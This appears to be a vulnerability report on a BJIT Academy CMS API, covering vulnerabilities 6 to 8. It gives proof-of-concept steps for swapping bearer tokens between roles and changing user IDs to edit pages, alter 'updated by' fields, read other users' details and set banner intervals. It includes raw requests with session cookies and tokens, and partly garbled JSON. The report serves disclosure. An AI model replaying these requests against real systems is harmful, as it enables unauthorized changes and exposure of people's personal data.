7 Access-Control-Allow-Origin: *			7 Access-Control-Allow-Origin: *		
8 Vary: Accept-Encoding, Authorization			8 Vary: Accept-Encoding, Authorization		
9 Connection: close			9 Connection: close		
10 Content-Type: application/json			10 Content-Type: application/json		
11 Content-Length: 9727			11 Content-Length: 9727		
12			12		
13 {			13 {		
"success":true,			"success":true,		
"result":			"result":		
"data":{			"data":{		
"id": 58,			"id": 58,		
"name": "asatasas edited",			"name": "asatasas edited",		
"designation": "asxasaxas",			"designation": "asxasaxas",		
"company_name": "xsaxasaxasaxax",			"company_name": "xsaxasaxasaxax",		
"bio": "asxasaxasaxax",			"bio": "asxasaxasaxax",		
"profile_image": "14WppAQNzYiZhjFdeIY1EgQ0vQNrPbb6GTcIWP.jpg",			"profile_image": "14WppAQNzYiZhjFdeIY1EgQ0vQNrPbb6GTcIWP.jpg",		
"images": "/resource/14WppAQNzYiZhjFdeIY1EgQ0vQNrPbb6GTcIWP.jpg",			"images": "/resource/14WppAQNzYiZhjFdeIY1EgQ0vQNrPbb6GTcIWP.jpg",		
"profile_image_alt": "scs",			"profile_image_alt": "scs",		
"user": ["user": [
{id": 68}			{id": 68}		
"name": "testtrainerasef",			"name": "testtrainerasef",		
"email": "test.trainer.asef@bjitacademy.com",			"email": "test.trainer.asef@bjitacademy.com",		
"role": "Trainer",			"role": "Trainer",		
"phone_number": null,			"phone_number": null,		
"image_url": null,			"image_url": null,		
"designation": null,			"designation": null,		
"info": null			"info": null		
},			},		
},			},		
"error": {			"error": {		
"message": "Testimonial updated successfully.",			"message": "Testimonial updated successfully.",		
"status": 200			"status": 200		
},			},		
},			},		

POST /academysite/api/public/api/v1/pages/update-page/8 HTTP/1.1

Edit contract page>capture request>change token>send request>successful edit.

POST /academysite/api/public/api/v1/pages/update-page/14 HTTP/1.1

Edit location>capture request>change token>send request>successful edit.

POST /academysite/api/public/api/v1/pages/update-page/1 HTTP/1.1

Edit SEO page>capture request>change token>send request>successful edit.

Vulnerability 6

Title: "Updated by User" can be changed through update profile manipulation and can be changed using other's privilege leading access control and information disclosure vulnerability.

Description: This vulnerability enables unauthorized users to change the "Updated by User" field to different user IDs, disclosing sensitive information and affecting the integrity of user data. The issue highlights a failure in enforcing proper access controls, allowing manipulation of user profiles.

Target: cms.bjitacadey.com

URL/API: POST /academysite/api/public/api/v1/user/update-user HTTP/1.1

POC:

1. First, I checked the SEO user by super admin privilege from all user page.

Serial	Name	Email	Role	Updated by User	Last Updated	Status	Action
61	testTrainerRezone	test.trainer.rezone@bjit	Trainer	Sheikh Md. Rezone Ullah	13:31 20 Nov 2023	Active	
62	testAdminRezone	test.admin.rezone@bjit	Admin	Sheikh Md.	13:31 20 Nov	Active	
69	testSeoRana	test.seo.rana@bjitacademy.com	SEO Manager	Rana Tabassum	13:19 20 Nov 2023	Active	
70	testSeoAsef	test.seo.asef@bjitacademy.com	SEO Manager	testSeoAsef	18:26 22 Nov 2023	Active	
71	testContentAsef	test.content.asef@bjitacademy.com	Content Manager	testContentAsef	13:42 20 NOV 2023	Active	
72	testTrainerAsef	test.trainer.asef@bjitacademy.com	Trainer	testTrainerAsef	18:22 22 Nov 2023	Active	

2. Then I went to my update profile setting of the SEO Manager, change phone number and clicked save profile to capture the request.

Profile Settings

Name *testSeoAsef

Mobile Number *01787676653

Current Password (* Password changes require the current password)

New Password *Enter New Password

Password Confirmation *Password Confirmation

Save Profile

Request to https://cms.bjitacademy.com:443 [13.230.22.132]

Forward Drop Inter... Action Open b... Add notes HTTP/1.1

Method: GET Request URL: /academysite/api/public/api/v1/user/update-user HTTP/1.1

Cookies: _ga=GA.1.2.1043294729.1700465046; _gid=GA.1.2.328099958.1700465046; XSRF-TOKEN=eyJwdIiE1ZMFn10ewly1CYTveWJxVESSdFJu3c9PS1sInZhBHV1i1jo1Yhqa2drUspaa0d3d3V1UDN6aU6t2k; lycaudpQsJWMcrQmlFe1vTR1m3R0dhb8ENWVJUmhFJVLne1s10dFaQch1WBEBK2x1VshW8j;czcUNQTElyWV1NUOF0bVBAdw@Lox0VWpKSpvpx5px50hREXgRa1c1YhLCYCUOTFESTFLC1JtYWm1G1lyWmY3ZGg;ogGSHSY1mNjYTAAUTTVhMGQ12mYyNzU52TA1lWUChjMaDk12WUWnNzkx0DMxYjYZMjM4YmUChmFk1iwi4GFnjjo1n0v3D;bjit_academy_session=eyJwdIiE1g3a3h0lCfMTGcs0rHs2Ud1jBhHV1i1jo1rvQyZ0REXU3Fx0NUl1Gd1nK1bPUFJJV0cAMFdweRxz3VUUVhMwG1sdTHwHEZCUU1W1uvan7ZEX2Y1dM1p1bdExS31kQFWY7UDQ03mAv0YvEcexRTJ3e0FEL1jMx1lejZgQWNBH3AxH0Rxf43WmAlm3cWHLJ2Xc1LCJtYWm101jZWfhMsJkTYU4YjB1WQs0DAlWYJ1ODM0MGN0TNYC2q0DfmawYmC82TA1lWUChjMaDk12WUWnNzkx0DMxYjYZMjM4YmUChmFk1iwi4GFnjjo1n0v3D;_ga_P7XRLT5B1J=681.2.1700651843.8.1.1700655968.0.0.0

Content-Length: 871

Sec-Ch-Ua: "Chromium";v="119", "Not A Brand";v="24"

X-XsrF-Token: eyJwdIiE1ZMFn10ewly1CYTveWJxVESSdFJu3c9PS1sInZhBHV1i1jo1Yhqa2drUspaa0d3d3V1UDN6aU6t2k; lycaudpQsJWMcrQmlFe1vTR1m3R0dhb8ENWVJUmhFJVLne1s10dFaQch1WBEBK2x1VshW8j;czcUNQTElyWV1NUOF0bVBAdw@Lox0VWpKSpvpx5px50hREXgRa1c1YhLCYCUOTFESTFLC1JtYWm1G1lyWmY3ZGg;ogGSHSY1mNjYTAAUTTVhMGQ12mYyNzU52TA1lWUChjMaDk12WUWnNzkx0DMxYjYZMjM4YmUChmFk1iwi4GFnjjo1n0v3D;

Sec-Ch-Ua-Mobile: ?0

Authorization: Bearer eyJwdIiE1jg3a3h0lCfMTGcs0rHs2Ud1jBhHV1i1jo1rvQyZ0REXU3Fx0NUl1Gd1nK1bPUFJJV0cAMFdweRxz3VUUVhMwG1sdTHwHEZCUU1W1uvan7ZEX2Y1dM1p1bdExS31kQFWY7UDQ03mAv0YvEcexRTJ3e0FEL1jMx1lejZgQWNBH3AxH0Rxf43WmAlm3cWHLJ2Xc1LCJtYWm101jZWfhMsJkTYU4YjB1WQs0DAlWYJ1ODM0MGN0TNYC2q0DfmawYmC82TA1lWUChjMaDk12WUWnNzkx0DMxYjYZMjM4YmUChmFk1iwi4GFnjjo1n0v3D;

Save Profile

© 2023 BJIT Academy. Powered by [BJIT Group](#).

3. Then I sent the request to the repeater and checked the response.

Request

Pretty Raw Hex

```
POST /academysite/api/public/api/v1/user/update-user HTTP/1.1
Host: cms.bjitacademy.com
Cookie: _ga=GA.1.2.1043294729.1700465046; _gid=GA.1.2.328099958.1700465046; XSRF-TOKEN=eyJwdIiE1ZMFn10ewly1CYTveWJxVESSdFJu3c9PS1sInZhBHV1i1jo1Yhqa2drUspaa0d3d3V1UDN6aU6t2k; lycaudpQsJWMcrQmlFe1vTR1m3R0dhb8ENWVJUmhFJVLne1s10dFaQch1WBEBK2x1VshW8j;czcUNQTElyWV1NUOF0bVBAdw@Lox0VWpKSpvpx5px50hREXgRa1c1YhLCYCUOTFESTFLC1JtYWm1G1lyWmY3ZGg;ogGSHSY1mNjYTAAUTTVhMGQ12mYyNzU52TA1lWUChjMaDk12WUWnNzkx0DMxYjYZMjM4YmUChmFk1iwi4GFnjjo1n0v3D;bjit_academy_session=eyJwdIiE1g3a3h0lCfMTGcs0rHs2Ud1jBhHV1i1jo1rvQyZ0REXU3Fx0NUl1Gd1nK1bPUFJJV0cAMFdweRxz3VUUVhMwG1sdTHwHEZCUU1W1uvan7ZEX2Y1dM1p1bdExS31kQFWY7UDQ03mAv0YvEcexRTJ3e0FEL1jMx1lejZgQWNBH3AxH0Rxf43WmAlm3cWHLJ2Xc1LCJtYWm101jZWfhMsJkTYU4YjB1WQs0DAlWYJ1ODM0MGN0TNYC2q0DfmawYmC82TA1lWUChjMaDk12WUWnNzkx0DMxYjYZMjM4YmUChmFk1iwi4GFnjjo1n0v3D;_ga_P7XRLT5B1J=681.2.1700651843.8.1.1700655968.0.0.0
```

Content-Length: 871

Sec-Ch-Ua: "Chromium";v="119", "Not A Brand";v="24"

Accept: application/json, text/plain, */*

Content-Type: multipart/form-data;

boundary=---WebKitFormBoundaryhGSPwxqODUbwDs07

Sec-Ch-Ua-Mobile: ?0

Authorization: Bearer eyJwdIiE1jg3a3h0lCfMTGcs0rHs2Ud1jBhHV1i1jo1rvQyZ0REXU3Fx0NUl1Gd1nK1bPUFJJV0cAMFdweRxz3VUUVhMwG1sdTHwHEZCUU1W1uvan7ZEX2Y1dM1p1bdExS31kQFWY7UDQ03mAv0YvEcexRTJ3e0FEL1jMx1lejZgQWNBH3AxH0Rxf43WmAlm3cWHLJ2Xc1LCJtYWm101jZWfhMsJkTYU4YjB1WQs0DAlWYJ1ODM0MGN0TNYC2q0DfmawYmC82TA1lWUChjMaDk12WUWnNzkx0DMxYjYZMjM4YmUChmFk1iwi4GFnjjo1n0v3D;

Response

Pretty Raw Hex Render

```
Content-Length: 0
```

```
11 {
  "success": true,
  "result": {
    "id": 71,
    "name": "testSeoAsef",
    "email": "test.seo.asef@bjitacademy.com",
    "role": "SEO Manager",
    "active": 1,
    "phone_number": "01787676653",
    "image_url": "images/resource/vAJMTh9o0ehvxAtbxvvixLyN0UAktZALrQYAcz8N.jpg",
    "designation": null,
    "info": null,
    "user": [
      {
        "id": 71,
        "name": "testSeoAsef",
        "email": "test.seo.asef@bjitacademy.com",
        "role": "SEO Manager",
        "phone_number": "01787676653",
        "image_url": "images/resource/vAJMTh9o0ehvxAtbxvvixLyN0UAktZALrQYAcz8N.jpg",
        "designation": null,
        "info": null,
        "experience": null,
        "skills": null,
        "certification": [
          {
            "title": ""
          }
        ],
        "updated_time": "09:08 22 Nov 2023"
      }
    ]
  }
},
```

0 highlights

4. After that i changed the token of SEO with trainer's token and also changed the user id to admin's id to check the response and i got the information of admin, which is phone number, image URL which may lead to various attacks also it changes the updated by user name in the all users dashboard ..

Request

```

POST /academy/site/api/public/api/v1/user/update-user HTTP/1.1
Host: cms.bjitacademy.com
Content-Length: 871
Sec-Ch-Ua: "Chromium";v="119", "Not A Brand";v="24"
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryy8CwzJt4c6sCh3
Sec-Ch-Ua-Mobile: 20
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzIiNiJ9.eyJhdWQiOiI3IiwiwanRpIjoizDMzNjMzZjQSMzK0MzFkMmQ3CTRhWN2NhZj3Jzj14mjA5ODISyZc1Yz13YWMDBezTl0NzdhZD1lMyjcs0WY5ZDAZyY4ND4NTAw0TNmTTi1LCjPYQ10jE3MDA4MDU2NzkuNz1xMjzCMDQ00Q1NTgxMDU0Njg3NSwibmJmIjozNzawDA1NjcsL5jcyMT1AMTA1MTYzNtc0Mj4ANzUsImV4c1EMTcvMTY20TY30S4BMTcvMzcSDNdzNzEzMzc40TA2M0UsInH1Yi16jexIxiwC2NvcGvz1jbhX0.eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzIiNiJ9.eyJhdWQiOiI3IiwiwanRpIjo5WYTp5mZVjeWnXGz7MKubwBjN1ZKwbu1GbHvYsxbgBTWfPb0Fe9FycPfmlvmacVzQmAe_GHUo0E_5TWSGfFkex1DW5iC419s-d0USbzel3zwVm-HD1m5j66-7vI3_aH_JeQuqy5ShcfGTvHfQmny8otdge3MnsTkFn-bthNfGpGnmkGsnlb4WxN1SH9cT3CsdemFFff0JH7CeVHcpTgHmjefibOpFp58Glsszl-vrTy5jkiWcEP0dkhSsihfl_UZDy1aQusIsIArIqabMvNljiTJS9gv1_TWQ785R_XpspYhme2uWFWhmqaYK1P3Q1drAPrWdYS25y-2YBnhhiPhsCBrfu71drarOC013LXhobdTgevZCz8ZNZ0rXuvn0nCrPzSCUFymUCzNfLdrSa-oMDM-psLNR07DJKxNfLs0ItJPFZHB00X_Q_ppbCa2zLaFWO-x7cd-UN-hMaxd2pjqz03ehHqlv77CuGS652sqJ0Vn_wNfPKtrYyphMw1oah1D1XyZueTDsmlDdAveMsUfd5RsRf0eaIHfCR08aWayTo9WEffprh45vcDrzpxRmewP0GS7TKjsIvvGbaBGNuSczXNZsbzCh81X_TT19NTfQ5xEbc0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: http://cms.bjitacademy.com
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://cms.bjitacademy.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Priority: u4,i
Connection: close

```

Response

```

HTTP/1.1 200 OK
Date: Fri, 24 Nov 2023 06:23:46 GMT
Server: Apache
Cache-Control: no-cache, private
X-RateLimit-Limit: 60
X-RateLimit-Remaining: 59
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Connection: close
Content-Type: application/json
Content-Length: 630
13 {
    "success":true,
    "result":{
        "id":71,
        "name":"testSeoAsef",
        "email":"test.seo.asef@bjitacademy.com",
        "role":"SEO Manager",
        "active":1,
        "phone_number":"01787676653",
        "image_url":
            "images/resource/aVJMTbSoehvxAtbxvviLynOUAktZAlrQYAcz8N.jpg",
        "designation":null,
        "info":null,
        "user":{
            "id":68,
            "name":"testAdminAsef",
            "email":"test.admin.asef@bjitacademy.com",
            "role":"Admin",
            "phone_number":"01367564454",
            "image_url":null,
            "designation":null,
            "info":null
        }
    }
}

```

Request

```

-----WebKitFormBoundaryruuowew7fxnx1x40
Content-Disposition: form-data; name="name"
24
25 testSeoAsef
26 -----WebKitFormBoundaryludGea7PlxMTA240
27 Content-Disposition: form-data; name="email"
28
29 test.seo.asef@bjitacademy.com
30 -----WebKitFormBoundaryludGea7PlxMTA240
31 Content-Disposition: form-data; name="image"
32
33
34 -----WebKitFormBoundaryludGea7PlxMTA240
35 Content-Disposition: form-data; name="phone_number"
36
37 01787676653
38 -----WebKitFormBoundaryludGea7PlxMTA240
39 Content-Disposition: form-data; name="password"
40
41
42 -----WebKitFormBoundaryludGea7PlxMTA240
43 Content-Disposition: form-data; name="new_password"
44
45
46 -----WebKitFormBoundaryludGea7PlxMTA240
47 Content-Disposition: form-data; name="new_password_confirmation"
48
49
50 -----WebKitFormBoundaryludGea7PlxMTA240
51 Content-Disposition: form-data; name="user_id"
52
53 68
54 -----WebKitFormBoundaryludGea7PlxMTA240--
55

```

Response

```

Access-Control-Allow-Origin: *
Vary: Accept-Encoding,Authorization
Connection: close
Content-Type: application/json
Content-Length: 970
13 {
    "success":true,
    "result":{
        "id":71,
        "name":"testSeoAsef",
        "email":"test.seo.asef@bjitacademy.com",
        "role":"SEO Manager",
        "active":1,
        "phone_number":"01787676653",
        "image_url":null,
        "designation":null,
        "info":null,
        "user":{
            "id":68,
            "name":"testAdminAsef",
            "email":"test.admin.asef@bjitacademy.com",
            "role":"Admin",
            "phone_number":"01367564454",
            "image_url":
                "images/resource/WStuHKPgx51MS01v5XGBeLY1TLQKKI3vArbuD7FTF.jpg",
            "designation":null,
            "info":null,
            "experience":null,
            "skills":null,
            "certification":[
                {
                    "title": ""
                }
            ]
        }
    }
}

```

5. Also i checked the user information from the super admin privilege again and got that it changes the “**updated by user**” information to passed id in the all user information.

68		testAdminAzim	test.admin.azim@bjitac	Admin	testAdminAzim	08:23	21 Nov 2023	Active		
69		testSeoRana	test.seo.rana@bjitacade	SEO Manager	Rana Tabassum	13:19	20 Nov 2023	Active		
70		testSeoAsef	test.seo.asef@bjitacade	SEO Manager	testAdminAsef	09:48	23 Nov 2023	Active		
71		testContentAsef	test.content.asef@bjita	Content Manager	testContentAsef	13:42	20 Nov 2023	Active		
72		testTrainerAsef	test.trainer.asef@bjitac	Trainer	testTrainerAsef	18:22	22 Nov 2023	Active		

Vulnerability 7

Title: Changing id in the parameter of the API leads to information disclosure vulnerability.

Description: The identified vulnerability allows unauthorized users to disclose sensitive information by manipulating the ID parameter in the API request. By capturing and replicating the GET request initiated by a user to fetch personal information, an attacker can modify the user ID in the parameter.

Target:cms.bjitecademy.com

URL/API: GET /academysite/api/public/api/v1/user/single-user/<id> HTTP/1.1

POC:

1. First i went to my profile and capture the GET request of the personal information.

The screenshot shows a NetworkMiner interface with a captured session. A specific profile settings page is highlighted with a red box. The URL is https://cms.bjitacademy.com/backend/profile. The page contains fields for Name, Mobile Number, and Current Password.

Backend > Profile

Profile Settings

Name *

Mobile Number *

Current Password (* Password changes require the

2. Then I sent the request to the repeater and checked the response for the specific id which is for SEO user.

3. After that i changed the user id in the parameter to check the response which leads to the fact that i got trainer's personal information which can be used otherwise.

Vulnerability 8

Title: Manipulating interval time from the captured request leads to access control vulnerability.

Description: The identified vulnerability allows unauthorized users to manipulate the interval time for creating slider posts also by unauthorized user's token. This manipulation affects the timing of banner intervals on the home page. The issue emphasizes a failure in enforcing proper access controls, enabling unauthorized manipulation of critical parameters that impact the application's functionality.

Target: cms.bjitacademy.com

URL/API: POST /academysite/api/public/api/v1/post/create-slider-post HTTP/1.1

POC:

1. First i logged in as admin to get the add banner request then filled the data and clicked save button with interval of 6 where interval can be selected via dropdown menu.

The screenshots illustrate the process of manipulating the 'Interval' parameter. In the first screenshot, the 'Interval' dropdown is open, showing options from 5s to 10s, with '6s' selected. In the second screenshot, the form is submitted, and the 'Interval' field still contains '6s', indicating a persistent or reflected value.

2. After that by clicking the save button i got the request captured and sent it to the repeater

Mobile Image *
Please provide a mobile image (W x H) (360 x 505)px

Choose file 3.jpg



Interval *

6s

Link (Please give link without domain like: /apply)

null

Background Color * (Pick your color from preview image.)



Save

3. After that I changed the token of the request to trainer's token and changed the interval time to bigger than 10 seconds as the trainer doesn't have the access to add banner let alone manipulating interval time then I sent the request to check the response.

```
Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Date: Wed, 29 Nov 2023 11:05:12 GMT
3 Server: Apache
4 Cache-Control: no-cache, private
5 X-RateLimit-Limit: 60
6 X-RateLimit-Remaining: 59
7 Access-Control-Allow-Origin: *
8 Vary: Accept-Encoding
9 Connection: close
10 Content-Type: application/json
11 Content-length: 791
12
13 {
14     "success": true,
15     "result": [
16         {
17             "id": 67,
18             "title": "aaaaaaaaaaaa",
19             "interval": "10000000000000",
20             "image_url": "/images//resource//E6HyMdy73MiMS1GTWQz1PmiiB6Swf1ZQZw5epSWP.jpg",
21             "image_link": "null",
22             "image_alt": "aaaaaaaaaaaa",
23             "tabs_image_url": "/images//resource//fQlErh4h5nhnbn17i1gZ2jz1LxChKnH51MOagfw.jpg",
24             "mobile_image_url": "/images//resource//0yJtbvLh2fxPUKCQNPNU04VtJKuawZt1NpN3CmGBN.jpg",
25             "icon_url": "null",
26             "icon_name": "null",
27             "background_color": "#012665",
28             "modified_time": "17-05-27 Nov 2023"
29         },
30         {
31             "id": 68,
32             "name": "testTrainerAsef",
33             "email": "test.trainer.asef@bjitacademy.com",
34             "role": "Trainer",
35             "phone_number": "+01876765543",
36             "password": "null"
37         }
38     ]
39 }
? < > Search | 0 highlights
```

4. Then I checked the home page to check the time interval of the banner and found out that it changes as per the time input given in the request which shouldn't be case.

The image shows a screenshot of the BJIT Academy website. At the top left is the BJIT Academy logo, which includes a crest with a shield containing a book, a lamp, and a graduation cap, all within a red border. To the right of the logo is the text "BJIT Academy". The top navigation bar has links for "HOME", "TRAINING", "NEWS", "BLOG", "ABOUT", and "CONTACT". Below the navigation, the main content area features a section titled "We Share" with three bullet points: "Big ideas", "Top educators", and "Talented pool of brains", each preceded by a green checkmark. To the right of this text is a large, stylized blue lightbulb with a brain-like shape inside it. Two people, a man and a woman, are shown interacting with the lightbulb; the man is sitting and holding a laptop, while the woman is standing next to him. A circular arrow icon is located at the bottom left, and another one is at the bottom right.